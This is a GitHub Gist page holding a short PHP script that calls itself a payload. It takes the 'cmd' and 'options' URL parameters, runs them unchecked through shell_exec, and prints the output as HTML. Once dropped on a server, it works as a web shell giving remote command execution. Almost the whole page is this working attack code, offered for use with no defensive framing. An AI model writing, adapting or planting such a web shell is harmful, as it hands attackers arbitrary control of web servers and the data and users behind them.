Skip to content

Instantly share code, notes, and snippets.

@dino213dz
Created August 17, 2019 15:09
Show Gist options
  • Save dino213dz/b8f066c51124eb7b9f5495503762d38e to your computer and use it in GitHub Desktop.
Save dino213dz/b8f066c51124eb7b9f5495503762d38e to your computer and use it in GitHub Desktop.
Payload that allows to run commands and displays them correctly on a web page
<?php
$cde=$_GET['cmd'];
$options=$_GET['options'];
$commande=$cde.' '.$options;
$console_symbol='<b>&nbsp;&gt;&nbsp;</b>';
echo '<html><head><title>'.$commande.'</title></head><body>';
echo $console_symbol.' '.$commande.' : <HR>';
$retour_cde=shell_exec(''.$commande.' 2>&1 >/tmp/cmd.log;while read ligne; do echo $ligne"</BR>"; done < /tmp/cmd.log');
$retour_cde=str_replace(' ','&nbsp;',$retour_cde);
$retour_cde=str_replace('&nbsp;&nbsp;','&nbsp;',$retour_cde);
$lignes_retour_cde=explode('\n',$retour_cde);
for($l=0;$l<count($lignes_retour_cde);$l++){
if(trim($lignes_retour_cde[$l])!='')
echo ''.$console_symbol.''.$lignes_retour_cde[$l].'</BR>';
else{
if($l<count($lignes_retour_cde)-1){
//ligne vide
echo '</BR>';
}
else { //fin du resultat de la commande
echo '</span></div>';
}
}
}
echo '</body></html>';
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment